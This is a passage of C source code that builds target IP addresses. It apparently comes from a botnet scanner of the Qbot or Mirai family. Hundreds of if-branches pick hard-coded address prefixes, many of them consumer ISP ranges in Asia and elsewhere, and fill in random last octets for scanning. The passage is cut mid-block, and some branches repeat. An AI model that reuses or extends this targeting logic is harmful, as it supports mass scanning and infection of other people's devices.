  1023. szprintf(ip, "60.16.%d.%d", ipState[3], ipState[4]);
  1024. }
  1025. if(randnum == 43)
  1026. {
  1027. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1028. }
  1029. if(randnum == 44)
  1030. {
  1031. szprintf(ip, "62.30.%d.%d", ipState[3], ipState[4]);
  1032. }
  1033. if(randnum == 45)
  1034. {
  1035. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  1036. }
  1037. if(randnum == 46)
  1038. {
  1039. szprintf(ip, "62.254.%d.%d", ipState[3], ipState[4]);
  1040. }
  1041. if(randnum == 47)
  1042. {
  1043. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  1044. }
  1045. if(randnum == 48)
  1046. {
  1047. szprintf(ip, "77.96.%d.%d", ipState[3], ipState[4]);
  1048. }
  1049. if(randnum == 49)
  1050. {
  1051. szprintf(ip, "77.97.%d.%d", ipState[3], ipState[4]);
  1052. }
  1053. if(randnum == 50)
  1054. {
  1055. szprintf(ip, "77.98.%d.%d", ipState[3], ipState[4]);
  1056. }
  1057. if(randnum == 51)
  1058. {
  1059. szprintf(ip, "77.100.%d.%d", ipState[3], ipState[4]);
  1060. }
  1061. if(randnum == 52)
  1062. {
  1063. szprintf(ip, "77.102.%d.%d", ipState[3], ipState[4]);
  1064. }
  1065. if(randnum ==53)
  1066. {
  1067. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  1068. }
  1069. if(randnum == 54)
  1070. {
  1071. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  1072. }
  1073. if(randnum == 55)
  1074. {
  1075. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  1076. }
  1077. if(randnum == 56)
  1078. {
  1079. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  1080. }
  1081. if(randnum == 57)
  1082. {
  1083. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  1084. }
  1085. if(randnum == 58)
  1086. {
  1087. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  1088. }
  1089. if(randnum == 59)
  1090. {
  1091. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  1092. }
  1093. if(randnum == 60)
  1094. {
  1095. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  1096. }
  1097. if(randnum == 61)
  1098. {
  1099. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  1100. }
  1101. if(randnum == 62)
  1102. {
  1103. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  1104. }
  1105. if(randnum == 63)
  1106. {
  1107. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  1108. }
  1109. if(randnum == 64)
  1110. {
  1111. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  1112. }
  1113. if(randnum == 65)
  1114. {
  1115. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  1116. }
  1117. if(randnum == 66)
  1118. {
  1119. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  1120. }
  1121. if(randnum == 67)
  1122. {
  1123. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  1124. }
  1125. if(randnum == 68)
  1126. {
  1127. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  1128. }
  1129. if(randnum == 69)
  1130. {
  1131. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  1132. }
  1133. if(randnum == 70)
  1134. {
  1135. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  1136. }
  1137. if(randnum == 71)
  1138. {
  1139. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  1140. }
  1141. if(randnum == 72)
  1142. {
  1143. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  1144. }
  1145. if(randnum == 73)
  1146. {
  1147. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  1148. }
  1149. if(randnum == 74)
  1150. {
  1151. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  1152. }
  1153. if(randnum == 75)
  1154. {
  1155. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  1156. }
  1157. if(randnum == 76)
  1158. {
  1159. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  1160. }
  1161. if(randnum == 77)
  1162. {
  1163. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  1164. }
  1165. if(randnum == 78)
  1166. {
  1167. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  1168. }
  1169. if(randnum == 79)
  1170. {
  1171. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  1172. }
  1173. if(randnum == 80)
  1174. {
  1175. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  1176. }
  1177. if(randnum == 81)
  1178. {
  1179. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  1180. }
  1181. if(randnum == 82)
  1182. {
  1183. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  1184. }
  1185. if(randnum == 83)
  1186. {
  1187. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  1188. }
  1189. if(randnum == 84)
  1190. {
  1191. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  1192. }
  1193. if(randnum == 85)
  1194. {
  1195. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  1196. }
  1197. if(randnum == 86)
  1198. {
  1199. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  1200. }
  1201. if(randnum == 87)
  1202. {
  1203. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  1204. }
  1205. if(randnum == 88)
  1206. {
  1207. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  1208. }
  1209. if(randnum == 89)
  1210. {
  1211. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  1212. }
  1213. if(randnum == 90)
  1214. {
  1215. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  1216. }
  1217. if(randnum == 91)
  1218. {
  1219. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  1220. }
  1221. if(randnum == 92)
  1222. {
  1223. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  1224. }
  1225. if(randnum == 93)
  1226. {
  1227. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  1228. }
  1229. if(randnum == 94)
  1230. {
  1231. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1232. }
  1233. if(randnum == 95)
  1234. {
  1235. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  1236. }
  1237. if(randnum == 96)
  1238. {
  1239. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1240. }
  1241. if(randnum == 97)
  1242. {
  1243. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  1244. }
  1245. if(randnum == 98)
  1246. {
  1247. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  1248. }
  1249. if(randnum == 99)
  1250. {
  1251. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  1252. }
  1253. if(randnum == 100)
  1254. {
  1255. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  1256. }
  1257. if(randnum == 101)
  1258. {
  1259. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1260. }
  1261. if(randnum == 102)
  1262. {
  1263. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1264. }
  1265. if(randnum == 103)
  1266. {
  1267. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1268. }
  1269. if(randnum == 104)
  1270. {
  1271. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1272. }
  1273. if(randnum == 105)
  1274. {
  1275. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1276. }
  1277. if(randnum == 106)
  1278. {
  1279. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1280. }
  1281. if(randnum == 107)
  1282. {
  1283. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1284. }
  1285. if(randnum == 108)
  1286. {
  1287. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1288. }
  1289. if(randnum == 109)
  1290. {
  1291. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1292. }
  1293. if(randnum == 110)
  1294. {
  1295. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1296. }
  1297. if(randnum == 111)
  1298. {
  1299. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1300. }
  1301. if(randnum == 112)
  1302. {
  1303. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1304. }
  1305. if(randnum == 113)
  1306. {
  1307. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1308. }
  1309. if(randnum == 114)
  1310. {
  1311. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1312. }
  1313. if(randnum == 115)
  1314. {
  1315. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1316. }
  1317. if(randnum == 116)
  1318. {
  1319. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  1320. }
  1321. if(randnum == 117)
  1322. {
  1323. szprintf(ip, "111.14.%d.%d", ipState[3], ipState[4]);
  1324. }
  1325. if(randnum == 118)
  1326. {
  1327. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  1328. }
  1329. if(randnum == 119)
  1330. {
  1331. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  1332. }
  1333. if(randnum == 120)
  1334. {
  1335. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  1336. }
  1337. if(randnum == 121)
  1338. {
  1339. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  1340. }
  1341. if(randnum == 122)
  1342. {
  1343. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  1344. }
  1345. if(randnum == 123)
  1346. {
  1347. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  1348. }
  1349. if(randnum == 124)
  1350. {
  1351. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  1352. }
  1353. if(randnum == 125)
  1354. {
  1355. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  1356. }
  1357. if(randnum == 126)
  1358. {
  1359. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  1360. }
  1361. if(randnum == 127)
  1362. {
  1363. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  1364. }
  1365. if(randnum == 128)
  1366. {
  1367. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  1368. }
  1369. if(randnum == 129)
  1370. {
  1371. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  1372. }
  1373. if(randnum == 130)
  1374. {
  1375. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  1376. }
  1377. if(randnum == 131)
  1378. {
  1379. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  1380. }
  1381. if(randnum == 132)
  1382. {
  1383. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  1384. }
  1385. if(randnum == 133)
  1386. {
  1387. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  1388. }
  1389. if(randnum == 134)
  1390. {
  1391. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  1392. }
  1393. if(randnum == 135)
  1394. {
  1395. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  1396. }
  1397. if(randnum == 136)
  1398. {
  1399. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  1400. }
  1401. if(randnum == 137)
  1402. {
  1403. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  1404. }
  1405. if(randnum == 138)
  1406. {
  1407. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  1408. }
  1409. if(randnum == 139)
  1410. {
  1411. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  1412. }
  1413. if(randnum == 140)
  1414. {
  1415. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  1416. }
  1417. if(randnum == 141)
  1418. {
  1419. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  1420. }
  1421. if(randnum == 142)
  1422. {
  1423. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  1424. }
  1425. if(randnum == 143)
  1426. {
  1427. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  1428. }
  1429. if(randnum == 144)
  1430. {
  1431. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  1432. }
  1433. if(randnum == 145)
  1434. {
  1435. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  1436. }
  1437. if(randnum == 146)
  1438. {
  1439. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  1440. }
  1441. if(randnum == 147)
  1442. {
  1443. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  1444. }
  1445. if(randnum == 148)
  1446. {
  1447. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  1448. }
  1449. if(randnum == 149)
  1450. {
  1451. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  1452. }
  1453. if(randnum == 150)
  1454. {
  1455. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  1456. }
  1457. if(randnum == 151)
  1458. {
  1459. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  1460. }
  1461. if(randnum == 152)
  1462. {
  1463. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  1464. }
  1465. if(randnum == 153)
  1466. {
  1467. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  1468. }
  1469. if(randnum == 154)
  1470. {
  1471. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1472. }
  1473. if(randnum == 155)
  1474. {
  1475. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  1476. }
  1477. if(randnum == 156)
  1478. {
  1479. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1480. }
  1481. if(randnum == 157)
  1482. {
  1483. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  1484. }
  1485. if(randnum == 158)
  1486. {
  1487. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1488. }
  1489. if(randnum == 159)
  1490. {
  1491. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1492. }
  1493. if(randnum == 160)
  1494. {
  1495. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1496. }
  1497. if(randnum == 161)
  1498. {
  1499. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  1500. }
  1501. if(randnum == 162)
  1502. {
  1503. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1504. }
  1505. if(randnum == 163)
  1506. {
  1507. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  1508. }
  1509. if(randnum == 164)
  1510. {
  1511. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  1512. }
  1513. if(randnum == 165)
  1514. {
  1515. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  1516. }
  1517. if(randnum == 166)
  1518. {
  1519. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  1520. }
  1521. if(randnum == 167)
  1522. {
  1523. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  1524. }
  1525. if(randnum == 168)
  1526. {
  1527. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  1528. }
  1529. if(randnum == 169)
  1530. {
  1531. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  1532. }
  1533. if(randnum == 170)
  1534. {
  1535. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  1536. }
  1537. if(randnum == 171)
  1538. {
  1539. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  1540. }
  1541. if(randnum == 172)
  1542. {
  1543. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  1544. }
  1545. if(randnum == 173)
  1546. {
  1547. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  1548. }
  1549. if(randnum == 174)
  1550. {
  1551. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  1552. }
  1553. if(randnum == 175)
  1554. {
  1555. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  1556. }
  1557. if(randnum == 176)
  1558. {
  1559. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  1560. }
  1561. if(randnum == 177)
  1562. {
  1563. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  1564. }
  1565. if(randnum == 178)
  1566. {
  1567. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  1568. }
  1569. if(randnum == 179)
  1570. {
  1571. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  1572. }
  1573. if(randnum == 180)
  1574. {
  1575. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  1576. }
  1577. if(randnum == 181)
  1578. {
  1579. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  1580. }
  1581. if(randnum == 181)
  1582. {
  1583. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  1584. }
  1585. if(randnum == 182)
  1586. {
  1587. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  1588. }
  1589. if(randnum == 183)
  1590. {
  1591. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  1592. }
  1593. if(randnum == 184)
  1594. {
  1595. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  1596. }
  1597. if(randnum == 185)
  1598. {
  1599. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  1600. }
  1601. if(randnum == 186)
  1602. {
  1603. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  1604. }
  1605. if(randnum == 187)
  1606. {
  1607. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  1608. }
  1609. if(randnum == 188)
  1610. {
  1611. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  1612. }
  1613. if(randnum == 189)
  1614. {
  1615. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  1616. }
  1617. if(randnum == 190)
  1618. {
  1619. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  1620. }
  1621. if(randnum == 191)
  1622. {
  1623. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  1624. }
  1625. if(randnum == 192)
  1626. {
  1627. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  1628. }
  1629. if(randnum == 193)
  1630. {
  1631. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  1632. }
  1633. if(randnum == 194)
  1634. {
  1635. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  1636. }
  1637. if(randnum == 195)
  1638. {
  1639. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  1640. }
  1641. if(randnum == 196)
  1642. {
  1643. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  1644. }
  1645. if(randnum == 197)
  1646. {
  1647. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  1648. }
  1649. if(randnum == 198)
  1650. {
  1651. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  1652. }
  1653. if(randnum == 199)
  1654. {
  1655. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  1656. }
  1657. if(randnum == 200)
  1658. {
  1659. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  1660. }
  1661. if(randnum == 201)
  1662. {
  1663. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  1664. }
  1665. if(randnum == 202)
  1666. {
  1667. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  1668. }
  1669. if(randnum == 203)
  1670. {
  1671. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  1672. }
  1673. if(randnum == 204)
  1674. {
  1675. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  1676. }
  1677. if(randnum == 205)
  1678. {
  1679. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  1680. }
  1681. if(randnum == 206)
  1682. {
  1683. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  1684. }
  1685. if(randnum == 207)
  1686. {
  1687. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  1688. }
  1689. if(randnum == 208)
  1690. {
  1691. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  1692. }
  1693. if(randnum == 209)
  1694. {
  1695. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1696. }
  1697. if(randnum == 210)
  1698. {
  1699. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  1700. }
  1701. if(randnum == 211)
  1702. {
  1703. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1704. }
  1705. if(randnum == 212)
  1706. {
  1707. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  1708. }
  1709. if(randnum == 213)
  1710. {
  1711. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  1712. }
  1713. if(randnum == 214)
  1714. {
  1715. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  1716. }
  1717. if(randnum == 215)
  1718. {
  1719. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  1720. }
  1721. if(randnum == 216)
  1722. {
  1723. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1724. }
  1725. if(randnum == 217)
  1726. {
  1727. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1728. }
  1729. if(randnum == 218)
  1730. {
  1731. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1732. }
  1733. if(randnum == 219)
  1734. {
  1735. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1736. }
  1737. if(randnum == 220)
  1738. {
  1739. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1740. }
  1741. if(randnum == 221)
  1742. {
  1743. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1744. }
  1745. if(randnum == 222)
  1746. {
  1747. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1748. }
  1749. if(randnum == 223)
  1750. {
  1751. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1752. }
  1753. if(randnum == 224)
  1754. {
  1755. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1756. }
  1757. if(randnum == 225)
  1758. {
  1759. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1760. }
  1761. if(randnum == 226)
  1762. {
  1763. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1764. }
  1765. if(randnum == 227)
  1766. {
  1767. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1768. }
  1769. if(randnum == 228)
  1770. {
  1771. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1772. }
  1773. if(randnum == 229)
  1774. {
  1775. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1776. }
  1777. if(randnum == 230)
  1778. {
  1779. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1780. }
  1781. if(randnum == 231)
  1782. {
  1783. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1784. }
  1785. if(randnum == 232)
  1786. {
  1787. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1788. }
  1789. if(randnum == 233)
  1790. {
  1791. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1792. }
  1793. if(randnum == 234)
  1794. {
  1795. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1796. }
  1797. if(randnum == 235)
  1798. {
  1799. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1800. }
  1801. if(randnum == 236)
  1802. {
  1803. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1804. }
  1805. if(randnum == 237)
  1806. {
  1807. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1808. }
  1809. if(randnum == 238)
  1810. {
  1811. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1812. }
  1813. if(randnum == 239)
  1814. {
  1815. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1816. }
  1817. if(randnum == 240)
  1818. {
  1819. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1820. }
  1821. if(randnum == 241)
  1822. {
  1823. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1824. }
  1825. if(randnum == 242)
  1826. {
  1827. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1828. }
  1829. if(randnum == 243)
  1830. {
  1831. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1832. }
  1833. if(randnum == 244)
  1834. {
  1835. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1836. }
  1837. if(randnum == 245)
  1838. {
  1839. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1840. }
  1841. if(randnum == 246)
  1842. {
  1843. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1844. }
  1845. if(randnum == 247)
  1846. {
  1847. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1848. }
  1849. if(randnum == 248)
  1850. {
  1851. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1852. }
  1853. if(randnum == 249)
  1854. {
  1855. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1856. }
  1857. if(randnum == 250)
  1858. {
  1859. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1860. }
  1861. if(randnum == 251)
  1862. {
  1863. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1864. }
  1865. if(randnum == 252)
  1866. {
  1867. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1868. }
  1869. if(randnum == 253)
  1870. {
  1871. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1872. }
  1873. if(randnum == 254)
  1874. {
  1875. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1876. }
  1877. if(randnum == 255)
  1878. {
  1879. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1880. }
  1881. if(randnum == 256)
  1882. {
  1883. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1884. }
  1885. if(randnum == 257)
  1886. {
  1887. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1888. }
  1889. if(randnum == 258)
  1890. {
  1891. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1892. }
  1893. if(randnum == 259)
  1894. {
  1895. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1896. }
  1897. if(randnum == 260)
  1898. {
  1899. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1900. }
  1901. if(randnum == 261)
  1902. {
  1903. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1904. }
  1905. if(randnum == 262)
  1906. {
  1907. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1908. }
  1909. if(randnum == 263)
  1910. {
  1911. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1912. }
  1913. if(randnum == 264)
  1914. {
  1915. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1916. }
  1917. if(randnum == 265)
  1918. {
  1919. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1920. }
  1921. if(randnum == 266)
  1922. {
  1923. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1924. }
  1925. if(randnum == 267)
  1926. {
  1927. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1928. }
  1929. if(randnum == 268)
  1930. {
  1931. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1932. }
  1933. if(randnum == 269)
  1934. {
  1935. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1936. }
  1937. if(randnum == 270)
  1938. {
  1939. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1940. }
  1941. if(randnum == 271)
  1942. {
  1943. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1944. }
  1945. if(randnum == 272)
  1946. {
  1947. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1948. }
  1949. if(randnum == 273)
  1950. {
  1951. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1952. }
  1953. if(randnum == 274)
  1954. {
  1955. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1956. }
  1957. if(randnum == 275)
  1958. {
  1959. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1960. }
  1961. if(randnum == 276)
  1962. {
  1963. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1964. }
  1965. if(randnum == 277)
  1966. {
  1967. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1968. }
  1969. if(randnum == 278)
  1970. {
  1971. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1972. }
  1973. if(randnum == 279)
  1974. {
